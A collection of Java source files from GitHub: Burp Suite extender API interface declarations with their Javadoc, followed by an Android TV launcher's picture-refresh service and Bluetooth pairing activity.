https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/ITempFile.java
src/main/java/burp/ITempFile.java
package burp; /* * @(#)ITempFile.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used to hold details of a temporary file that has been * created via a call to * <code>IBurpExtenderCallbacks.saveToTempFile()</code>. * */ public interface ITempFile { /** * This method is used to retrieve the contents of the buffer that was saved * in the temporary file. * * @return The contents of the buffer that was saved in the temporary file. */ byte[] getBuffer(); /** * This method is deprecated and no longer performs any action. */ @Deprecated void delete(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IScannerListener.java
src/main/java/burp/IScannerListener.java
package burp; /* * @(#)IScannerListener.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerScannerListener()</code> to register a * Scanner listener. The listener will be notified of new issues that are * reported by the Scanner tool. Extensions can perform custom analysis or * logging of Scanner issues by registering a Scanner listener. */ public interface IScannerListener { /** * This method is invoked when a new issue is added to Burp Scanner's * results. * * @param issue An * <code>IScanIssue</code> object that the extension can query to obtain * details about the new issue. */ void newScanIssue(IScanIssue issue); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IIntruderAttack.java
src/main/java/burp/IIntruderAttack.java
package burp; /* * @(#)IIntruderAttack.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used to hold details about an Intruder attack. */ public interface IIntruderAttack { /** * This method is used to retrieve the HTTP service for the attack. * * @return The HTTP service for the attack. */ IHttpService getHttpService(); /** * This method is used to retrieve the request template for the attack. * * @return The request template for the attack. */ byte[] getRequestTemplate(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IContextMenuInvocation.java
src/main/java/burp/IContextMenuInvocation.java
package burp; /* * @(#)IContextMenuInvocation.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.awt.event.InputEvent; /** * This interface is used when Burp calls into an extension-provided * <code>IContextMenuFactory</code> with details of a context menu invocation. * The custom context menu factory can query this interface to obtain details of * the invocation event, in order to determine what menu items should be * displayed. */ public interface IContextMenuInvocation { /** * Used to indicate that the context menu is being invoked in a request * editor. */ static final byte CONTEXT_MESSAGE_EDITOR_REQUEST = 0; /** * Used to indicate that the context menu is being invoked in a response * editor. */ static final byte CONTEXT_MESSAGE_EDITOR_RESPONSE = 1; /** * Used to indicate that the context menu is being invoked in a non-editable * request viewer. */ static final byte CONTEXT_MESSAGE_VIEWER_REQUEST = 2; /** * Used to indicate that the context menu is being invoked in a non-editable * response viewer. */ static final byte CONTEXT_MESSAGE_VIEWER_RESPONSE = 3; /** * Used to indicate that the context menu is being invoked in the Target * site map tree. */ static final byte CONTEXT_TARGET_SITE_MAP_TREE = 4; /** * Used to indicate that the context menu is being invoked in the Target * site map table. */ static final byte CONTEXT_TARGET_SITE_MAP_TABLE = 5; /** * Used to indicate that the context menu is being invoked in the Proxy * history. */ static final byte CONTEXT_PROXY_HISTORY = 6; /** * Used to indicate that the context menu is being invoked in the Scanner * results. */ static final byte CONTEXT_SCANNER_RESULTS = 7; /** * Used to indicate that the context menu is being invoked in the Intruder * payload positions editor. */ static final byte CONTEXT_INTRUDER_PAYLOAD_POSITIONS = 8; /** * Used to indicate that the context menu is being invoked in an Intruder * attack results. */ static final byte CONTEXT_INTRUDER_ATTACK_RESULTS = 9; /** * Used to indicate that the context menu is being invoked in a search * results window. */ static final byte CONTEXT_SEARCH_RESULTS = 10; /** * This method can be used to retrieve the native Java input event that was * the trigger for the context menu invocation. * * @return The <code>InputEvent</code> that was the trigger for the context * menu invocation. */ InputEvent getInputEvent(); /** * This method can be used to retrieve the Burp tool within which the * context menu was invoked. * * @return A flag indicating the Burp tool within which the context menu was * invoked. Burp tool flags are defined in the * <code>IBurpExtenderCallbacks</code> interface. */ int getToolFlag(); /** * This method can be used to retrieve the context within which the menu was * invoked. * * @return An index indicating the context within which the menu was * invoked. The indices used are defined within this interface. */ byte getInvocationContext(); /** * This method can be used to retrieve the bounds of the user's selection * into the current message, if applicable. * * @return An int[2] array containing the start and end offsets of the * user's selection in the current message. If the user has not made any * selection in the current message, both offsets indicate the position of * the caret within the editor. If the menu is not being invoked from a * message editor, the method returns <code>null</code>. */ int[] getSelectionBounds(); /** * This method can be used to retrieve details of the HTTP requests / * responses that were shown or selected by the user when the context menu * was invoked. * * <b>Note:</b> For performance reasons, the objects returned from this * method are tied to the originating context of the messages within the * Burp UI. For example, if a context menu is invoked on the Proxy intercept * panel, then the * <code>IHttpRequestResponse</code> returned by this method will reflect * the current contents of the interception panel, and this will change when * the current message has been forwarded or dropped. If your extension * needs to store details of the message for which the context menu has been * invoked, then you should query those details from the * <code>IHttpRequestResponse</code> at the time of invocation, or you * should use * <code>IBurpExtenderCallbacks.saveBuffersToTempFiles()</code> to create a * persistent read-only copy of the * <code>IHttpRequestResponse</code>. * * @return An array of <code>IHttpRequestResponse</code> objects * representing the items that were shown or selected by the user when the * context menu was invoked. This method returns <code>null</code> if no * messages are applicable to the invocation. */ IHttpRequestResponse[] getSelectedMessages(); /** * This method can be used to retrieve details of the Scanner issues that * were selected by the user when the context menu was invoked. * * @return An array of <code>IScanIssue</code> objects representing the * issues that were selected by the user when the context menu was invoked. * This method returns <code>null</code> if no Scanner issues are applicable * to the invocation. */ IScanIssue[] getSelectedIssues(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IExtensionHelpers.java
src/main/java/burp/IExtensionHelpers.java
package burp; /* * @(#)IExtensionHelpers.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.net.URL; import java.util.List; /** * This interface contains a number of helper methods, which extensions can use * to assist with various common tasks that arise for Burp extensions. * * Extensions can call <code>IBurpExtenderCallbacks.getHelpers</code> to obtain * an instance of this interface. */ public interface IExtensionHelpers { /** * This method can be used to analyze an HTTP request, and obtain various * key details about it. * * @param request An <code>IHttpRequestResponse</code> object containing the * request to be analyzed. * @return An <code>IRequestInfo</code> object that can be queried to obtain * details about the request. */ IRequestInfo analyzeRequest(IHttpRequestResponse request); /** * This method can be used to analyze an HTTP request, and obtain various * key details about it. * * @param httpService The HTTP service associated with the request. This is * optional and may be <code>null</code>, in which case the resulting * <code>IRequestInfo</code> object will not include the full request URL. * @param request The request to be analyzed. * @return An <code>IRequestInfo</code> object that can be queried to obtain * details about the request. */ IRequestInfo analyzeRequest(IHttpService httpService, byte[] request); /** * This method can be used to analyze an HTTP request, and obtain various * key details about it. The resulting <code>IRequestInfo</code> object will * not include the full request URL. To obtain the full URL, use one of the * other overloaded <code>analyzeRequest()</code> methods. * * @param request The request to be analyzed. * @return An <code>IRequestInfo</code> object that can be queried to obtain * details about the request. */ IRequestInfo analyzeRequest(byte[] request); /** * This method can be used to analyze an HTTP response, and obtain various * key details about it. * * @param response The response to be analyzed. * @return An <code>IResponseInfo</code> object that can be queried to * obtain details about the response. */ IResponseInfo analyzeResponse(byte[] response); /** * This method can be used to retrieve details of a specified parameter * within an HTTP request. <b>Note:</b> Use <code>analyzeRequest()</code> to * obtain details of all parameters within the request. * * @param request The request to be inspected for the specified parameter. * @param parameterName The name of the parameter to retrieve. * @return An <code>IParameter</code> object that can be queried to obtain * details about the parameter, or <code>null</code> if the parameter was * not found. */ IParameter getRequestParameter(byte[] request, String parameterName); /** * This method can be used to URL-decode the specified data. * * @param data The data to be decoded. * @return The decoded data. */ String urlDecode(String data); /** * This method can be used to URL-encode the specified data. Any characters * that do not need to be encoded within HTTP requests are not encoded. * * @param data The data to be encoded. * @return The encoded data. */ String urlEncode(String data); /** * This method can be used to URL-decode the specified data. * * @param data The data to be decoded. * @return The decoded data. */ byte[] urlDecode(byte[] data); /** * This method can be used to URL-encode the specified data. Any characters * that do not need to be encoded within HTTP requests are not encoded. * * @param data The data to be encoded. * @return The encoded data. */ byte[] urlEncode(byte[] data); /** * This method can be used to Base64-decode the specified data. * * @param data The data to be decoded. * @return The decoded data. */ byte[] base64Decode(String data); /** * This method can be used to Base64-decode the specified data. * * @param data The data to be decoded. * @return The decoded data. */ byte[] base64Decode(byte[] data); /** * This method can be used to Base64-encode the specified data. * * @param data The data to be encoded. * @return The encoded data. */ String base64Encode(String data); /** * This method can be used to Base64-encode the specified data. * * @param data The data to be encoded. * @return The encoded data. */ String base64Encode(byte[] data); /** * This method can be used to convert data from String form into an array of * bytes. The conversion does not reflect any particular character set, and * a character with the hex representation 0xWXYZ will always be converted * into a byte with the representation 0xYZ. It performs the opposite * conversion to the method <code>bytesToString()</code>, and byte-based * data that is converted to a String and back again using these two methods * is guaranteed to retain its integrity (which may not be the case with * conversions that reflect a given character set). * * @param data The data to be converted. * @return The converted data. */ byte[] stringToBytes(String data); /** * This method can be used to convert data from an array of bytes into * String form. The conversion does not reflect any particular character * set, and a byte with the representation 0xYZ will always be converted * into a character with the hex representation 0x00YZ. It performs the * opposite conversion to the method <code>stringToBytes()</code>, and * byte-based data that is converted to a String and back again using these * two methods is guaranteed to retain its integrity (which may not be the * case with conversions that reflect a given character set). * * @param data The data to be converted. * @return The converted data. */ String bytesToString(byte[] data); /** * This method searches a piece of data for the first occurrence of a * specified pattern. It works on byte-based data in a way that is similar * to the way the native Java method <code>String.indexOf()</code> works on * String-based data. * * @param data The data to be searched. * @param pattern The pattern to be searched for. * @param caseSensitive Flags whether or not the search is case-sensitive. * @param from The offset within <code>data</code> where the search should * begin. * @param to The offset within <code>data</code> where the search should * end. * @return The offset of the first occurrence of the pattern within the * specified bounds, or -1 if no match is found. */ int indexOf(byte[] data, byte[] pattern, boolean caseSensitive, int from, int to); /** * This method builds an HTTP message containing the specified headers and * message body. If applicable, the Content-Length header will be added or * updated, based on the length of the body. * * @param headers A list of headers to include in the message. * @param body The body of the message, of <code>null</code> if the message * has an empty body. * @return The resulting full HTTP message. */ byte[] buildHttpMessage(List<String> headers, byte[] body); /** * This method creates a GET request to the specified URL. The headers used * in the request are determined by the Request headers settings as * configured in Burp Spider's options. * * @param url The URL to which the request should be made. * @return A request to the specified URL. */ byte[] buildHttpRequest(URL url); /** * This method adds a new parameter to an HTTP request, and if appropriate * updates the Content-Length header. * * @param request The request to which the parameter should be added. * @param parameter An <code>IParameter</code> object containing details of * the parameter to be added. Supported parameter types are: * <code>PARAM_URL</code>, <code>PARAM_BODY</code> and * <code>PARAM_COOKIE</code>. * @return A new HTTP request with the new parameter added. */ byte[] addParameter(byte[] request, IParameter parameter); /** * This method removes a parameter from an HTTP request, and if appropriate * updates the Content-Length header. * * @param request The request from which the parameter should be removed. * @param parameter An <code>IParameter</code> object containing details of * the parameter to be removed. Supported parameter types are: * <code>PARAM_URL</code>, <code>PARAM_BODY</code> and * <code>PARAM_COOKIE</code>. * @return A new HTTP request with the parameter removed. */ byte[] removeParameter(byte[] request, IParameter parameter); /** * This method updates the value of a parameter within an HTTP request, and * if appropriate updates the Content-Length header. <b>Note:</b> This * method can only be used to update the value of an existing parameter of a * specified type. If you need to change the type of an existing parameter, * you should first call <code>removeParameter()</code> to remove the * parameter with the old type, and then call <code>addParameter()</code> to * add a parameter with the new type. * * @param request The request containing the parameter to be updated. * @param parameter An <code>IParameter</code> object containing details of * the parameter to be updated. Supported parameter types are: * <code>PARAM_URL</code>, <code>PARAM_BODY</code> and * <code>PARAM_COOKIE</code>. * @return A new HTTP request with the parameter updated. */ byte[] updateParameter(byte[] request, IParameter parameter); /** * This method can be used to toggle a request's method between GET and * POST. Parameters are relocated between the URL query string and message * body as required, and the Content-Length header is created or removed as * applicable. * * @param request The HTTP request whose method should be toggled. * @return A new HTTP request using the toggled method. */ byte[] toggleRequestMethod(byte[] request); /** * This method constructs an <code>IHttpService</code> object based on the * details provided. * * @param host The HTTP service host. * @param port The HTTP service port. * @param protocol The HTTP service protocol. * @return An <code>IHttpService</code> object based on the details * provided. */ IHttpService buildHttpService(String host, int port, String protocol); /** * This method constructs an <code>IHttpService</code> object based on the * details provided. * * @param host The HTTP service host. * @param port The HTTP service port. * @param useHttps Flags whether the HTTP service protocol is HTTPS or HTTP. * @return An <code>IHttpService</code> object based on the details * provided. */ IHttpService buildHttpService(String host, int port, boolean useHttps); /** * This method constructs an <code>IParameter</code> object based on the * details provided. * * @param name The parameter name. * @param value The parameter value. * @param type The parameter type, as defined in the <code>IParameter</code> * interface. * @return An <code>IParameter</code> object based on the details provided. */ IParameter buildParameter(String name, String value, byte type); /** * This method constructs an <code>IScannerInsertionPoint</code> object * based on the details provided. It can be used to quickly create a simple * insertion point based on a fixed payload location within a base request. * * @param insertionPointName The name of the insertion point. * @param baseRequest The request from which to build scan requests. * @param from The offset of the start of the payload location. * @param to The offset of the end of the payload location. * @return An <code>IScannerInsertionPoint</code> object based on the * details provided. */ IScannerInsertionPoint makeScannerInsertionPoint( String insertionPointName, byte[] baseRequest, int from, int to); /** * This method analyzes one or more responses to identify variations in a * number of attributes and returns an <code>IResponseVariations</code> * object that can be queried to obtain details of the variations. * * @param responses The responses to analyze. * @return An <code>IResponseVariations</code> object representing the * variations in the responses. */ IResponseVariations analyzeResponseVariations(byte[]... responses); /** * This method analyzes one or more responses to identify the number of * occurrences of the specified keywords and returns an * <code>IResponseKeywords</code> object that can be queried to obtain * details of the number of occurrences of each keyword. * * @param keywords The keywords to look for. * @param responses The responses to analyze. * @return An <code>IResponseKeywords</code> object representing the counts * of the keywords appearing in the responses. */ IResponseKeywords analyzeResponseKeywords(List<String> keywords, byte[]... responses); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IMessageEditorTabFactory.java
src/main/java/burp/IMessageEditorTabFactory.java
package burp; /* * @(#)IMessageEditorTabFactory.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerMessageEditorTabFactory()</code> to * register a factory for custom message editor tabs. This allows extensions to * provide custom rendering or editing of HTTP messages, within Burp's own HTTP * editor. */ public interface IMessageEditorTabFactory { /** * Burp will call this method once for each HTTP message editor, and the * factory should provide a new instance of an * <code>IMessageEditorTab</code> object. * * @param controller An * <code>IMessageEditorController</code> object, which the new tab can query * to retrieve details about the currently displayed message. This may be * <code>null</code> for extension-invoked message editors where the * extension has not provided an editor controller. * @param editable Indicates whether the hosting editor is editable or * read-only. * @return A new * <code>IMessageEditorTab</code> object for use within the message editor. */ IMessageEditorTab createNewInstance(IMessageEditorController controller, boolean editable); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/ITextEditor.java
src/main/java/burp/ITextEditor.java
package burp; /* * @(#)ITextEditor.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.awt.Component; /** * This interface is used to provide extensions with an instance of Burp's raw * text editor, for the extension to use in its own UI. Extensions should call * <code>IBurpExtenderCallbacks.createTextEditor()</code> to obtain an instance * of this interface. */ public interface ITextEditor { /** * This method returns the UI component of the editor, for extensions to add * to their own UI. * * @return The UI component of the editor. */ Component getComponent(); /** * This method is used to control whether the editor is currently editable. * This status can be toggled on and off as required. * * @param editable Indicates whether the editor should be currently * editable. */ void setEditable(boolean editable); /** * This method is used to update the currently displayed text in the editor. * * @param text The text to be displayed. */ void setText(byte[] text); /** * This method is used to retrieve the currently displayed text. * * @return The currently displayed text. */ byte[] getText(); /** * This method is used to determine whether the user has modified the * contents of the editor. * * @return An indication of whether the user has modified the contents of * the editor since the last call to * <code>setText()</code>. */ boolean isTextModified(); /** * This method is used to obtain the currently selected text. * * @return The currently selected text, or * <code>null</code> if the user has not made any selection. */ byte[] getSelectedText(); /** * This method can be used to retrieve the bounds of the user's selection * into the displayed text, if applicable. * * @return An int[2] array containing the start and end offsets of the * user's selection within the displayed text. If the user has not made any * selection in the current message, both offsets indicate the position of * the caret within the editor. */ int[] getSelectionBounds(); /** * This method is used to update the search expression that is shown in the * search bar below the editor. The editor will automatically highlight any * regions of the displayed text that match the search expression. * * @param expression The search expression. */ void setSearchExpression(String expression); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IExtensionStateListener.java
src/main/java/burp/IExtensionStateListener.java
package burp; /* * @(#)IExtensionStateListener.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerExtensionStateListener()</code> to * register an extension state listener. The listener will be notified of * changes to the extension's state. <b>Note:</b> Any extensions that start * background threads or open system resources (such as files or database * connections) should register a listener and terminate threads / close * resources when the extension is unloaded. */ public interface IExtensionStateListener { /** * This method is called when the extension is unloaded. */ void extensionUnloaded(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/service/MainService.java
src/com/droid/service/MainService.java
package com.droid.service; import android.app.Service; import android.content.Intent; import android.os.Binder; import android.os.Handler; import android.os.HandlerThread; import android.os.IBinder; import android.util.Log; import com.droid.db.SharedPreferencesUtil; public class MainService extends Service { private static final String TAG = "MainService"; private MyBinder mBinder = new MyBinder(); private boolean d = true;// debug private SharedPreferencesUtil sp; private GetPicsRunnable run; private HandlerThread thread; private Handler handler; @Override public void onCreate() { super.onCreate(); //更新界面图片,一个小时一次 sp = SharedPreferencesUtil.getInstance(getApplicationContext()); run = new GetPicsRunnable(); thread = new HandlerThread("com.droid"); thread.start(); handler = new Handler(thread.getLooper()); handler.postDelayed(run, 1000 * 60 * 60); Log.d(TAG, "service ................onCreate"); } @Override public void onDestroy() { super.onDestroy(); Log.d(TAG, "service ................onDestroy"); } @Override public IBinder onBind(Intent intent) { return mBinder; } public class MyBinder extends Binder { public void startDownload() { Log.d("TAG", "startDownload() executed"); // 执行具体的下载任务 } } /** * 获取图片数据的线程 todo: get pics 色块管理 */ private class GetPicsRunnable implements Runnable { @Override public void run() { //更新图片的一些操作。。。 saveStringJsonPicData2sp(""); Intent intent = new Intent(); intent.setAction("com.droid.updateUI"); sendBroadcast(intent); handler.postDelayed(run, 1000 * 60 * 60); } } /** * 将返回的json数据保存到sp中 * @param responseJson */ private void saveStringJsonPicData2sp(String responseJson) { sp.putString("url_str_json_data", responseJson); } }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/Bluetooth.java
src/com/droid/activitys/Bluetooth.java
package com.droid.activitys; import android.bluetooth.BluetoothAdapter; import android.bluetooth.BluetoothDevice; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.os.Bundle; import android.util.Log; import android.view.View; import android.view.animation.Animation; import android.view.animation.AnimationUtils; import android.widget.AdapterView; import android.widget.ImageView; import android.widget.ListView; import android.widget.RelativeLayout; import android.widget.TextView; import com.droid.R; import com.droid.adapter.MyBluetoothAdapter; import com.droid.utils.Tools; import java.util.ArrayList; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Set; /** * @author Droid * 蓝牙管理 */ public class Bluetooth extends BaseActivity implements View.OnClickListener { private static final String TAG = "UPDATE"; private static final boolean d = false; private RelativeLayout openRL; private RelativeLayout detectionRL; private RelativeLayout searchRL; private RelativeLayout pairRL; private RelativeLayout searchDeviceRL; private ImageView openIV; private ImageView detectionIV; private ImageView searchIV; private TextView pairTV; private TextView pairTVName; private TextView searchDeviceTV; private ListView searchDeviceLV; private Set<BluetoothDevice> bondedDevices; private BluetoothDevice pairDevice; private boolean openFlag; private boolean detectionFlag; private int pairPosition = -1; private Context context; private BluetoothAdapter bluetoothAdapter; private MyBluetoothAdapter itemAdapter; private List<Map<String, Object>> list; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); this.setContentView(R.layout.activity_bluetooth); context = this; initViews(); initData(); setListener(); } private void initData() { bluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); list = new ArrayList<Map<String, Object>>(); if (bluetoothAdapter.isEnabled()) { openIV.setBackgroundResource(R.drawable.switch_on); detectionIV.setBackgroundResource(R.drawable.switch_off); searchIV.setVisibility(View.VISIBLE); pairTV.setVisibility(View.VISIBLE); pairRL.setVisibility(View.VISIBLE); searchDeviceTV.setVisibility(View.VISIBLE); searchDeviceRL.setVisibility(View.VISIBLE); bondedDevices = bluetoothAdapter.getBondedDevices(); Iterator iterator = bondedDevices.iterator(); if (iterator.hasNext()) { BluetoothDevice bond = (BluetoothDevice) iterator.next(); pairDevice = bond; pairTVName.setText(bond.getName()); pairPosition = -2; } openFlag = true; } else { openIV.setBackgroundResource(R.drawable.switch_off); detectionIV.setBackgroundResource(R.drawable.switch_off); searchIV.setVisibility(View.GONE); pairTV.setVisibility(View.GONE); pairRL.setVisibility(View.GONE); searchDeviceTV.setVisibility(View.GONE); searchDeviceRL.setVisibility(View.GONE); openFlag = false; } IntentFilter intent = new IntentFilter(); // 用BroadcastReceiver来取得搜索结果 intent.addAction(BluetoothDevice.ACTION_FOUND); //每当扫描模式变化的时候,应用程序可以为通过ACTION_SCAN_MODE_CHANGED值来监听全局的消息通知。 // 比如,当设备停止被搜寻以后,该消息可以被系统通知給应用程序。 intent.addAction(BluetoothAdapter.ACTION_SCAN_MODE_CHANGED); //每当蓝牙模块被打开或者关闭,应用程序可以为通过ACTION_STATE_CHANGED值来监听全局的消息通知。 intent.addAction(BluetoothAdapter.ACTION_STATE_CHANGED); intent.addAction(BluetoothAdapter.ACTION_DISCOVERY_FINISHED); registerReceiver(searchReceiver, intent); } private void initViews() { openRL = (RelativeLayout) findViewById(R.id.bluetooth_rl_open); detectionRL = (RelativeLayout) findViewById(R.id.bluetooth_rl_detection); searchRL = (RelativeLayout) findViewById(R.id.bluetooth_rl_search); pairRL = (RelativeLayout) findViewById(R.id.bluetooth_rl_pair1); searchDeviceRL = (RelativeLayout) findViewById(R.id.bluetooth_rl_search_device); openIV = (ImageView) findViewById(R.id.bluetooth_iv_open); detectionIV = (ImageView) findViewById(R.id.bluetooth_iv_detection); searchIV = (ImageView) findViewById(R.id.bluetooth_iv_search); pairTV = (TextView) findViewById(R.id.bluetooth_tv_pair); pairTVName = (TextView) findViewById(R.id.bluetooth_tv_pair_name); searchDeviceTV = (TextView) findViewById(R.id.bluetooth_tv_search_device); searchDeviceLV = (ListView) findViewById(R.id.bluetooth_lv_search_device); } private void setListener() { openRL.setOnClickListener(this); detectionRL.setOnClickListener(this); searchRL.setOnClickListener(this); pairRL.setOnClickListener(this); searchDeviceLV.setOnItemClickListener(new AdapterView.OnItemClickListener() { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { BluetoothDevice device = (BluetoothDevice) list.get(position).get("device"); device.createBond(); showShortToast("正在配对.."); } }); } @Override protected void onRestart() { super.onRestart(); Log.i(TAG, "============onRestart========"); } @Override protected void onPause() { super.onPause(); Log.i(TAG, "=====onPause==========="); } @Override protected void onResume() { super.onResume(); Log.i(TAG, "=========onResume======="); } @Override protected void onDestroy() { super.onDestroy(); unregisterReceiver(searchReceiver); } @Override public void onClick(View v) { switch (v.getId()) { case R.id.bluetooth_rl_open: if (!openFlag) { bluetoothAdapter.disable(); openIV.setBackgroundResource(R.drawable.switch_off); detectionIV.setBackgroundResource(R.drawable.switch_off); searchIV.setVisibility(View.GONE); pairTV.setVisibility(View.GONE); pairRL.setVisibility(View.GONE); searchDeviceTV.setVisibility(View.GONE); searchDeviceRL.setVisibility(View.GONE); openFlag = !openFlag; } else { if (bluetoothAdapter != null) { if (!bluetoothAdapter.isEnabled()) { Intent intent = new Intent(BluetoothAdapter.ACTION_REQUEST_ENABLE); startActivity(intent); } } else { showShortToast("蓝牙不可用!"); } openIV.setBackgroundResource(R.drawable.switch_on); searchIV.setVisibility(View.VISIBLE); pairTV.setVisibility(View.VISIBLE); pairRL.setVisibility(View.VISIBLE); searchDeviceTV.setVisibility(View.VISIBLE); searchDeviceRL.setVisibility(View.VISIBLE); openFlag = !openFlag; } break; case R.id.bluetooth_rl_detection: if (detectionFlag) { detectionIV.setBackgroundResource(R.drawable.switch_off); detectionFlag = !detectionFlag; } else { Intent discoverableIntent = new Intent(BluetoothAdapter.ACTION_REQUEST_DISCOVERABLE); startActivity(discoverableIntent); detectionIV.setBackgroundResource(R.drawable.switch_on); detectionFlag = !detectionFlag; } break; case R.id.bluetooth_rl_search: Animation rotateAnimation = AnimationUtils.loadAnimation(context, R.anim.rotate); searchIV.startAnimation(rotateAnimation); bluetoothAdapter.startDiscovery(); break; case R.id.bluetooth_rl_pair1: if (pairPosition > -1) { BluetoothDevice device = (BluetoothDevice) list.get(pairPosition).get("device"); try { boolean b = Tools.removeBond(device.getClass(), device); if (b) { Map<String, Object> map = new HashMap<String, Object>(); map.put("name", device.getName()); map.put("type", device.getBluetoothClass().getDeviceClass()); map.put("device", device); list.add(map); itemAdapter.notifyDataSetChanged(); } } catch (Exception e) { e.printStackTrace(); } } else if (pairPosition == -2) { try { showShortToast("正在取消配对.."); boolean b = Tools.removeBond(pairDevice.getClass(), pairDevice); if (b) { Map<String, Object> map = new HashMap<String, Object>(); map.put("name", pairDevice.getName()); map.put("type", pairDevice.getBluetoothClass().getDeviceClass()); map.put("device", pairDevice); pairTVName.setText("未配对"); list.add(map); itemAdapter.notifyDataSetChanged(); } else { showShortToast("取消配对失败"); } } catch (Exception e) { e.printStackTrace(); } } break; } } private BroadcastReceiver searchReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub String action = intent.getAction(); BluetoothDevice device = null; device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE); if(device!=null){ } if (BluetoothDevice.ACTION_FOUND.equals(action)) { if (device.getBondState() == BluetoothDevice.BOND_NONE) { Map<String, Object> map = new HashMap<String, Object>(); map.put("name", device.getName()); map.put("type", device.getBluetoothClass().getDeviceClass()); map.put("device", device); if (list.indexOf(map) == -1) {// 防止重复添加 list.add(map); itemAdapter = new MyBluetoothAdapter(context, list); searchDeviceLV.setAdapter(itemAdapter); } } } else if (device != null && device.getBondState() == BluetoothDevice.BOND_BONDING) { showShortToast("正在配对"); } else if (device != null && device.getBondState() == BluetoothDevice.BOND_BONDED) { pairTVName.setText(device.getName()); for (int i = 0; i < list.size(); i++) { if (list.get(i).get("device").equals(device)) { pairPosition = i; list.remove(i); itemAdapter.notifyDataSetChanged(); } } showShortToast("配对完成"); } } }; }
java
MIT
d4af57bb18c8c91e316a51122786312fe67b30a0
2026-01-05T02:41:37.338106Z
false
sunglasscat/android-tv-launcher
https://github.com/sunglasscat/android-tv-launcher/blob/d4af57bb18c8c91e316a51122786312fe67b30a0/src/com/droid/activitys/MainActivity.java
src/com/droid/activitys/MainActivity.java
